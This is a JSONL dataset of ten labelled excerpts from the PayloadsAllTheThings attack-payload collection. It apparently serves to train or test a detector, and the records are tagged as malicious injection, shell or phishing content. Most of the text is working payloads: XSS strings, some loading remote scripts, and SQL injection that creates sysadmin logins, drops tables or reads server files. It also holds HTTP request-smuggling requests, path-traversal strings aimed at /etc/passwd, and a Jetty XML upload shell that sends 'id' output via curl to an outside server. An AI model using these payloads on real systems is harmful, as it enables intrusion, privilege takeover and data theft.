{"id": "payloads_00106", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<svg onload=alert(1)>\n\"><svg onload=alert(1)//\n\"onmouseover=alert(1)//\n\"autofocus/onfocus=alert(1)//\n'-alert(1)-'\n'-alert(1)//\n\\'-alert(1)//\n</script><svg onload=alert(1)>\n<x contenteditable onblur=alert(1)>lose focus!\n<x onclick=alert(1)>click this!\n<x oncopy=alert(1)>copy this!\n<x oncontextmenu=alert(1)>right click this!\n<x oncut=alert(1)>copy this!\n<x ondblclick=alert(1)>double click this!\n<x ondrag=alert(1)>drag this!\n<x contenteditable onfocus=alert(1)>focus this!\n<x contenteditable oninput=alert(1)>input here!\n<x contenteditable onkeydown=alert(1)>press any key!\n<x contenteditable onkeypress=alert(1)>press any key!\n<x contenteditable onkeyup=alert(1)>press any key!\n<x onmousedown=alert(1)>click this!\n<x onmousemove=alert(1)>hover this!\n<x onmouseout=alert(1)>hover this!\n<x onmouseover=alert(1)>hover this!\n<x onmouseup=alert(1)>click this!\n<x contenteditable onpaste=alert(1)>paste here!\n<script>alert(1)//\n<script>alert(1)<!\u2013\n<script src=//brutelogic.com.br/1.js>\n<script src=//3334957647/1>\n%3Cx onxxx=alert(1)\n<%78 onxxx=1\n<x %6Fnxxx=1\n<x o%6Exxx=1\n<x on%78xx=1\n<x onxxx%3D1\n<X onxxx=1\n<x OnXxx=1\n<X OnXxx=1\n<x onxxx=1 onxxx=1\n<x/onxxx=1\n<x%09onxxx=1\n<x%0Aonxxx=1\n<x%0Conxxx=1\n<x%0Donxxx=1\n<x%2Fonxxx=1\n<x 1='1'onxxx=1\n<x 1=\"1\"onxxx=1\n<x </onxxx=1\n<x 1=\">\" onxxx=1\n<http://onxxx%3D1/\n<x onxxx=alert(1) 1='\n<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>\n'onload=alert(1)><svg/1='\n'>alert(1)</script><script/1='\n*/alert(1)</script><script>/*\n*/alert(1)\">'onload=\"/*<svg/1='\n`-alert(1)\">'onload=\"`<svg/1='\n*/</script>'>alert(1)/*<script/1='\n<script>alert(1)</script>\n<script src=javascript:alert(1)>\n<iframe src=javascript:alert(1)>\n<embed src=javascript:alert(1)>\n<a href=javascript:alert(1)>click\n<math><brute href=javascript:alert(1)>click\n<form action=javascript:alert(1)><input type=submit>\n<isindex action=javascript:alert(1) type=submit value=click>\n<form><button formaction=javascript:alert(1)>click\n<form><input formaction=javascript:alert(1) type=submit value=click>\n<form><input formaction=javascript:alert(1) type=image value=click>\n<form><input formaction=javascript:alert(1) type=image src=SOURCE>\n<isindex formaction=javascript:alert(1) type=submit value=click>\n<object data=javascript:alert(1)>\n<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>\n<svg><script xlink:href=data:,alert(1) />\n<math><brute xlink:href=javascript:alert(1)>click\n<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>\n<html ontouchstart=alert(1)>\n<html ontouchend=alert(1)>\n<html ontouchmove=alert(1)>\n<html ontouchcancel=alert(1)>\n<body onorientationchange=alert(1)>\n\"><img src=1 onerror=alert(1)>.gif\n<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(document.domain)\"/>\nGIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;\n<script src=\"data:&comma;alert(1)//\n\"><script src=data:&comma;alert(1)//\n<script src=\"//brutelogic.com.br&sol;1.js&num;\n\"><script src=//brutelogic.com.br&sol;1.js&num;\n<link rel=import href=\"data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;\n\"><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;\n<base href=//0>\n<script/src=\"data:&comma;eval(atob(location.hash.slice(1)))//#alert(1)\n<body onload=alert(1)>\n<body onpageshow=alert(1)>\n<body onfocus=alert(1)>\n<body onhashchange=alert(1)><a href=#x>click this!#x\n<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x\n<body onscroll=alert(1)><br><br><br><br>\n<body onresize=alert(1)>press F12!\n<body onhelp=alert(1)>press F1! (MSIE)\n<marquee onstart=alert(1)>\n<marquee loop=1 width=0 onfinish=alert(1)>\n<audio src onloadstart=alert(1)>\n<video onloadstart=alert(1)><source>\n<input autofocus onblur=alert(1)>\n<keygen autofocus onfocus=alert(1)>\n<form onsubmit=alert(1)><input type=submit>\n<select onchange=alert(1)><option>1<option>2\n<menu id=x contextmenu=x onshow=alert(1)>right click ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/BRUTELOGIC-XSS-STRINGS.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00107", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# you will need to customize/modify some of the values in the queries for best effect\n'; exec master..xp_cmdshell 'ping 10.10.1.2'--\n'create user name identified by 'pass123' --\n'create user name identified by pass123 temporary tablespace temp default tablespace users; \n' ; drop table temp --\n'exec sp_addlogin 'name' , 'password' --\n' exec sp_addsrvrolemember 'name' , 'sysadmin' --\n' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --\n' grant connect to name; grant resource to name; --\n' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)\n' or 1=1 --\n' union (select @@version) --\n' union (select NULL, (select @@version)) --\n' union (select NULL, NULL, (select @@version)) --\n' union (select NULL, NULL, NULL,  (select @@version)) --\n' union (select NULL, NULL, NULL, NULL,  (select @@version)) --\n' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MSSQL.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00108", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Common Vulnerabilities and Exposures\n\n> A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.\n\n## Summary\n\n* [Tools](#tools)\n* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)\n    * [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)\n    * [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)\n    * [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)\n    * [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)\n    * [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)\n    * [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)\n    * [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)\n* [References](#references)\n\n## Tools\n\n* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)\n* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)\n* [Metasploit Framework](https://github.com/rapid7/metasploit-framework)\n* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)\n\n## Big CVEs in the last 15 years\n\n### CVE-2017-0144 - EternalBlue\n\nEternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.\n\nAfftected systems:\n\n* Windows Vista SP2\n* Windows Server 2008 SP2 and R2 SP1\n* Windows 7 SP1\n* Windows 8.1\n* Windows Server 2012 Gold and R2\n* Windows RT 8.1\n* Windows 10 Gold, 1511, and 1607\n* Windows Server 2016\n\n### CVE-2017-5638 - Apache Struts 2\n\nOn March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the \"Content-Type\" header.\n\n### CVE-2018-7600 - Drupalgeddon 2\n\nA remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.\n\n### CVE-2019-0708 - BlueKeep\n\nA remote code execution vulnerability exists in Remote Desktop Services \u2013 formerly known as Terminal Services \u2013 when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\n### CVE-2019-19781 - Citrix ADC Netscaler\n\nA remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.\n\nAffected products:\n\n* Citrix ADC and Citrix Gateway version 13.0 all supported builds\n* Citrix ADC and NetScaler Gateway version 12.1 all supported builds\n* Citrix ADC and NetScaler Gateway version 12.0 all supported builds\n* Citrix ADC and NetScaler Gateway version 11.1 all supported builds\n* Citrix NetScaler ADC and NetSca", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Known CVE exploits payload from CVE Exploits/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00109", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Request Smuggling\n\n> HTTP Request smuggling occurs when multiple \"things\" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [CL.TE Vulnerabilities](#clte-vulnerabilities)\n    * [TE.CL Vulnerabilities](#tecl-vulnerabilities)\n    * [TE.TE Vulnerabilities](#tete-vulnerabilities)\n    * [HTTP/2 Request Smuggling](#http2-request-smuggling)\n    * [Client-Side Desync](#client-side-desync)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [bappstore/HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - An extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks\n* [defparam/Smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3\n* [dhmosfunk/simple-http-smuggler-generator](https://github.com/dhmosfunk/simple-http-smuggler-generator) - This tool is developed for burp suite practitioner certificate exam and HTTP Request Smuggling labs.\n\n## Methodology\n\nIf you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.\n\n### CL.TE Vulnerabilities\n\n> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.\n\n```powershell\nPOST / HTTP/1.1\nHost: vulnerable-website.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n```\n\nExample:\n\n```powershell\nPOST / HTTP/1.1\nHost: domain.example.com\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nG\n```\n\n### TE.CL Vulnerabilities\n\n> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.\n\n```powershell\nPOST / HTTP/1.1\nHost: vulnerable-website.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n```\n\nExample:\n\n```powershell\nPOST / HTTP/1.1\nHost: domain.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86\nContent-Length: 4\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\n5c\nGPOST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 15\nx=1\n0\n\n\n```\n\n:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the \"Update Content-Length\" option is unchecked.You need to include the trailing sequence `\\r\\n\\r\\n` following the final 0.\n\n### TE.TE Vulnerabilities\n\n> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.\n\n```powershell\nTransfer-Encoding: xchunked\nTransfer-Encoding : chunked\nTransfer-Encoding: chunked\nTransfer-Encoding: x\nTransfer-Encoding:[tab]chunked\n[space]Transfer-Encoding: chunked\nX: X[\\n]Transfer-Encoding: chunked\nTransfer-Encoding\n: chunked\n```\n\n## HTTP/2 Request Smuggling\n\nHTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "HTTP request smuggling payload from Request Smuggling/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00110", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?xml version=\"1.0\"?>\n<!DOCTYPE Configure PUBLIC \"-//Jetty//Configure//EN\" \"https://www.eclipse.org/jetty/configure_10_0.dtd\">\n<Configure class=\"org.eclipse.jetty.server.handler.ContextHandler\">\n    <Call class=\"java.lang.Runtime\" name=\"getRuntime\">\n        <Call name=\"exec\">\n            <Arg>\n                <Array type=\"String\">\n                    <Item>/bin/sh</Item>\n                    <Item>-c</Item>\n                    <Item>curl -F \"r=`id`\" http://yourServer:1337/</Item>\n                </Array>\n            </Arg>\n        </Call>\n    </Call>\n</Configure>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/JettyShell.xml. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00111", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Open URL Redirect\n\n> Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application\u2019s access control check and then forward the attacker to privileged functions that they would normally not be able to access.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [HTTP Redirection Status Code](#http-redirection-status-code)\n    * [Redirect Methods](#redirect-methods)\n        * [Path-based Redirects](#path-based-redirects)\n        * [JavaScript-based Redirects](#javascript-based-redirects)\n        * [Common Query Parameters](#common-query-parameters)\n    * [Filter Bypass](#filter-bypass)\n* [Labs](#labs)\n* [References](#references)\n\n## Methodology\n\nAn open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing.\n\nAttackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.\n\n**Example**: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:\n\n```ps1\nhttps://example.com/redirect?url=https://userpreferredsite.com\n```\n\nAn attacker could exploit an open redirect here by replacing the `userpreferredsite.com` with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.\n\n## HTTP Redirection Status Code\n\nHTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones:\n\n* [300 Multiple Choices](https://httpstatuses.com/300) - This indicates that the request has more than one possible response. The client should choose one of them.\n* [301 Moved Permanently](https://httpstatuses.com/301) - This means that the resource requested has been permanently moved to the URL given by the Location headers. All future requests should use the new URI.\n* [302 Found](https://httpstatuses.com/302) - This response code means that the resource requested has been temporarily moved to the URL given by the Location headers. Unlike 301, it does not mean that the resource has been permanently moved, just that it is temporarily located somewhere else.\n* [303 See Other](https://httpstatuses.com/303) - The server sends this response to direct the client to get the requested resource at another URI with a GET request.\n* [304 Not Modified](https://httpstatuses.com/304) - This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response.\n* [305 Use Proxy](https://httpstatuses.com/305) -  The requested resource must be accessed through a proxy provided in the Location header.\n* [307 Temporary Redirect](https://httpstatuses.com/307) - This means that the resource requested has been temporarily moved to the URL given by the Location headers, and future requests should still use the original URI.\n* [308 Permanent Redirect](https://httpstatuses.com/308) - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to cha", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "medium", "explanation": "Open redirect payload from Open Redirect/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00112", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# mysql local file disclosure through sqli\n# fuzz interesting absolute filepath/filename into <filepath>\ncreate table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/FUZZDB_MySQL_ReadLocalFiles.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00113", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# SQLite Injection\n\n> SQLite Injection  is a type of security vulnerability that occurs when an attacker can insert or \"inject\" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.\n\n## Summary\n\n* [SQLite Comments](#sqlite-comments)\n* [SQLite Enumeration](#sqlite-enumeration)\n* [SQLite String](#sqlite-string)\n    * [SQLite String Methodology](#sqlite-string-methodology)\n* [SQLite Blind](#sqlite-blind)\n    * [SQLite Blind Methodology](#sqlite-blind-methodology)\n    * [SQLite Blind With Substring Equivalent](#sqlite-blind-with-substring-equivalent)\n* [SQlite Error Based](#sqlite-error-based)\n* [SQlite Time Based](#sqlite-time-based)\n* [SQlite Remote Code Execution](#sqlite-remote-code-execution)\n    * [Attach Database](#attach-database)\n    * [Load_extension](#load_extension)\n* [SQLite File Manipulation](#sqlite-file-manipulation)\n    * [SQLite Read File](#sqlite-read-file)\n    * [SQLite Write File](#sqlite-write-file)\n* [References](#references)\n\n## SQLite Comments\n\n| Description         | Comment |\n| ------------------- | ------- |\n| Single-Line Comment | `--`    |\n| Multi-Line Comment  | `/**/`  |\n\n## SQLite Enumeration\n\n| Description   | SQL Query |\n| ------------- | ----------------------------------------- |\n| DBMS version  | `select sqlite_version();`                |\n\n## SQLite String\n\n### SQLite String Methodology\n\n| Description             | SQL Query                                 |\n| ----------------------- | ----------------------------------------- |\n| Extract Database Structure                           | `SELECT sql FROM sqlite_schema` |\n| Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master` |\n| Extract Table Name  | `SELECT tbl_name FROM sqlite_master WHERE type='table'` |\n| Extract Table Name  | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` |\n| Extract Column Name | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'` |\n| Extract Column Name | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');` |\n| Extract Column Name | `SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'` |\n| Extract Column Name | `SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')` |\n\n## SQLite Blind\n\n### SQLite Blind Methodology\n\n| Description             | SQL Query                                 |\n| ----------------------- | ----------------------------------------- |\n| Count Number Of Tables  | `AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table` |\n| Enumerating Table Name  | `AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number` |\n| Extract Info            | `AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')` |\n| Extract Info (order by) | `CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END` |\n\n### SQLite Blind With Substring Equivalent\n\n| Function    | Example                                   |\n| ----------- | ----------------------------------------- |\n| `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)`  |\n| `SUBSTR`    | `SUBSTR('foobar', <START>, <LENGTH>)`     |\n\n## SQlite Error Based\n\n```sql\nAND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END\n```\n\n## SQlite Time Based\n\n```sql\nAND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))\nAND 1337=", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/SQLite Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00114", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<html>\n\t<head></head>\n\t<body>\n\t\t<something:script xmlns:something=\"http://www.w3.org/1999/xhtml\">alert(1)</something:script>\n\t\t<a:script xmlns:a=\"http://www.w3.org/1999/xhtml\">alert(2)</a:script>\n\t\t<info>\n\t\t  <name>\n\t\t    <value><![CDATA[<script>confirm(document.domain)</script>]]></value>\n\t\t  </name>\n\t\t    <description>\n\t\t      <value>Hello</value>\n\t\t    </description>\n\t\t    <url>\n\t\t      <value>http://google.com</value>\n\t\t    </url>\n\t\t</info>\n\t</body>\n</html>\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/xss.xml. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00115", "source": "payloads_all_the_things", "source_license": "MIT", "text": "../etc/passwd\n../etc/issue\n../boot.ini\n../windows/system32/drivers/etc/hosts\n../../etc/passwd\n../../etc/issue\n../../boot.ini\n../../windows/system32/drivers/etc/hosts\n../../../etc/passwd\n../../../etc/issue\n../../../boot.ini\n../../../windows/system32/drivers/etc/hosts\n../../../../etc/passwd\n../../../../etc/issue\n../../../../boot.ini\n../../../../windows/system32/drivers/etc/hosts\n../../../../../etc/passwd\n../../../../../etc/issue\n../../../../../boot.ini\n../../../../../windows/system32/drivers/etc/hosts\n../../../../../../etc/passwd\n../../../../../../etc/issue\n../../../../../../boot.ini\n../../../../../../windows/system32/drivers/etc/hosts\n..\\etc\\passwd\n..\\etc\\issue\n..\\boot.ini\n..\\windows\\system32\\drivers\\etc\\hosts\n..\\..\\etc\\passwd\n..\\..\\etc\\issue\n..\\..\\boot.ini\n..\\..\\windows\\system32\\drivers\\etc\\hosts\n..\\..\\..\\etc\\passwd\n..\\..\\..\\etc\\issue\n..\\..\\..\\boot.ini\n..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n..\\..\\..\\..\\etc\\passwd\n..\\..\\..\\..\\etc\\issue\n..\\..\\..\\..\\boot.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n..\\..\\..\\..\\..\\etc\\passwd\n..\\..\\..\\..\\..\\etc\\issue\n..\\..\\..\\..\\..\\boot.ini\n..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n..\\..\\..\\..\\..\\..\\etc\\passwd\n..\\..\\..\\..\\..\\..\\etc\\issue\n..\\..\\..\\..\\..\\..\\boot.ini\n..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n..%2fetc%2fpasswd\n..%2fetc%2fissue\n..%2fboot.ini\n..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%2f..%2fetc%2fpasswd\n..%2f..%2fetc%2fissue\n..%2f..%2fboot.ini\n..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%2f..%2f..%2fetc%2fpasswd\n..%2f..%2f..%2fetc%2fissue\n..%2f..%2f..%2fboot.ini\n..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%2f..%2f..%2f..%2fetc%2fpasswd\n..%2f..%2f..%2f..%2fetc%2fissue\n..%2f..%2f..%2f..%2fboot.ini\n..%2f..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\n..%2f..%2f..%2f..%2f..%2fetc%2fissue\n..%2f..%2f..%2f..%2f..%2fboot.ini\n..%2f..%2f..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\n..%2f..%2f..%2f..%2f..%2f..%2fetc%2fissue\n..%2f..%2f..%2f..%2f..%2f..%2fboot.ini\n..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts\n..%5cetc%5cpasswd\n..%5cetc%5cissue\n..%5cboot.ini\n..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..%5c..%5cetc%5cpasswd\n..%5c..%5cetc%5cissue\n..%5c..%5cboot.ini\n..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..%5c..%5c..%5cetc%5cpasswd\n..%5c..%5c..%5cetc%5cissue\n..%5c..%5c..%5cboot.ini\n..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..%5c..%5c..%5c..%5cetc%5cpasswd\n..%5c..%5c..%5c..%5cetc%5cissue\n..%5c..%5c..%5c..%5cboot.ini\n..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..%5c..%5c..%5c..%5c..%5cetc%5cpasswd\n..%5c..%5c..%5c..%5c..%5cetc%5cissue\n..%5c..%5c..%5c..%5c..%5cboot.ini\n..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd\n..%5c..%5c..%5c..%5c..%5c..%5cetc%5cissue\n..%5c..%5c..%5c..%5c..%5c..%5cboot.ini\n..%5c..%5c..%5c..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\n..0x2fetc0x2fpasswd\n..0x2fetc0x2fissue\n..0x2fboot.ini\n..0x2fwindows0x2fsystem320x2fdrivers0x2fetc0x2fhosts\n..0x2f..0x2fetc0x2fpasswd\n..0x2f..0x2fetc0x2fissue\n..0x2f..0x2fboot.ini\n..0x2f..0x2fwindows0x2fsystem320x2fdrivers0x2fetc0x2fhosts\n..0x2f..0x2f..0x2fetc0x2fpasswd\n..0x2f..0x2f..0x2fetc0x2fissue\n..0x2f..0x2f..0x2fboot.ini\n..0x2f..0x2f..0x2fwindows0x2fsystem320x2fdrivers0x2fetc0x2fhosts\n..0x2f..0x2f..0x2f..0x2fetc0x2fpasswd\n..0x2f..0x2f..0x2f..0x2fetc0x2fissue\n..0x2f..0x2f..0x2f..0x2fboot.ini\n..0x2f..0x2f..0x2f..0x2fwindows0x2fsystem320x2fdrivers0x2fetc0x2fhosts\n..0x2f..0x2f..0x2f..0x2f..0x2fetc0x2fpasswd\n..0x2f..0x2f..0x2f..0x2f..0x2fetc0x2fissue\n..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\n..0x2f..0x2f..0x2f..0x2f..0x2fwindows0x2fsystem320x2fdrivers0x2fetc0x2fhosts\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fetc0x2fpasswd\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fetc0x2fissue\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini\n..0x2f..0x2f..0x2f..0x2f..0x2f..0", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Directory traversal payload from Directory Traversal/dotdotpwn.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
